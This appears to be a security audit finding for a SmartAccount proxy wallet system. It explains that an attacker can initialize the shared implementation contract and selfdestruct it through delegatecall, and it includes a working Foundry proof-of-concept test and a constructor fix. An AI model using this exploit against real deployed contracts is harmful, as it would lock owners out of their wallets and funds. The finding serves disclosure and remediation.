The SmartAccount wallet architecture is mainly defined by a Proxy
contract that delegates functionality to a common reusable SmartAccount
implementation.
The SmartAccountFactory
contract has the address of a base SmartAccount
implementation (immutable variable _defaultImpl
). When a new wallet is created, the factory deploys a new Proxy
that points its implementation to this base SmartAccount
implementation, and then calls the init
function to initialize the wallet (sets owner, sets entrypoint, etc.).
Each Proxy contract that represents a wallet holds its storage state and delegates functionality to a SmartAccount
implementation. This implementation contract is shared by all wallets.
Since the SmartAccount
implementation is a contract that can be interacted with, a bad actor can initialize it and destroy this common implementation by:
- Call
init
on the implementation contract to become the owner of the contract. - Using
execTransaction
, execute adelegatecall
to a contract that performs theselfdestruct
opcode.
This security issue affects the functionality of existing wallets, rendering them unusable. The issue is caused by the destruction of the implementation contract code and the inability of the proxy to delegate functionality to the implementation contract.
As a result, owners will lose access to their wallets and any associated funds, as well as any third party integrations that depend on the wallet.
Additionally, the issue will prevent any upgrade functionality, as the upgrade logic is implemented in the same 'SmartAccount' contract using the 'Singleton' mixin and accessed through the 'updateImplementation' function. This means that upgrades will also be unavailable once the implementation contract is destroyed.
The following test reproduces the issue. An attacker calls init
on the implementation contract and executes a delegatecall
to a simple contract that does the selfdestruct
.
Note that in foundry tests, selfdestruct
doesn't take effect until the test finalizes (see here).
contract Destroyable {
function destroy() external {
selfdestruct(payable(msg.sender));
}
}
contract AuditTest is Test {
bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;
uint256 bobPrivateKey = 0x123;
uint256 attackerPrivateKey = 0x456;
address deployer;
address bob;
address attacker;
address entrypoint;
address handler;
SmartAccount public implementation;
SmartAccountFactory public factory;
MockToken public token;
function setUp() public {
deployer = makeAddr("deployer");
bob = vm.addr(bobPrivateKey);
attacker = vm.addr(attackerPrivateKey);
entrypoint = makeAddr("entrypoint");
handler = makeAddr("handler");
vm.label(deployer, "deployer");
vm.label(bob, "bob");
vm.label(attacker, "attacker");
vm.startPrank(deployer);
implementation = new SmartAccount();
factory = new SmartAccountFactory(address(implementation));
token = new MockToken();
vm.stopPrank();
}
function buildSignature(SmartAccount wallet, Transaction memory _tx, FeeRefund memory refundInfo, uint256 _nonce, uint256 privateKey) internal returns (bytes memory) {
bytes32 domainSeparator = wallet.domainSeparator();
bytes32 safeTxHash =
keccak256(
abi.encode(
ACCOUNT_TX_TYPEHASH,
_tx.to,
_tx.value,
keccak256(_tx.data),
_tx.operation,
_tx.targetTxGas,
refundInfo.baseGas,
refundInfo.gasPrice,
refundInfo.gasToken,
refundInfo.refundReceiver,
_nonce
)
);
bytes memory encoded = abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator, safeTxHash);
bytes32 hash = keccak256(encoded);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, hash);
return abi.encodePacked(r, s, v);
}
function test_SmartAccount_DestroyImplementation() public {
vm.prank(bob);
address proxy = factory.deployWallet(bob, entrypoint, handler);
SmartAccount wallet = SmartAccount(payable(proxy));
vm.startPrank(attacker);
// Attacker initializes implementation to become owner
implementation.init(attacker, entrypoint, handler);
// Simple contract that implements selfdestruct
Destroyable destroyable = new Destroyable();
// Attacker now sends a transaction (delegatecall) to the destroyable contract
Transaction memory tx = Transaction(
address(destroyable), // to
0, //value,
abi.encodeWithSelector(Destroyable.destroy.selector), //data
Enum.Operation.DelegateCall, // operation
0 //targetTxGas
);
FeeRefund memory feeRefund = FeeRefund(
0, // uint256 baseGas;
0, // uint256 gasPrice; //gasPrice or tokenGasPrice
0, // uint256 tokenGasPriceFactor;
address(0), // address gasToken;
payable(0) // address payable refundReceiver;
);
uint256 batchId = 0;
bytes memory signature = buildSignature(implementation, tx, feeRefund, 0, attackerPrivateKey);
// This desroys the implementation contract
implementation.execTransaction(tx, batchId, feeRefund, signature);
vm.stopPrank();
}
}
Add a constructor to the SmartAccount
contract that calls OpenZeppelin _disableInitializers()
helper. This will disable any initializer in the implementation contract and prevent the init
function (or any other initializer) from being called.
constructor() {
_disableInitializers();
}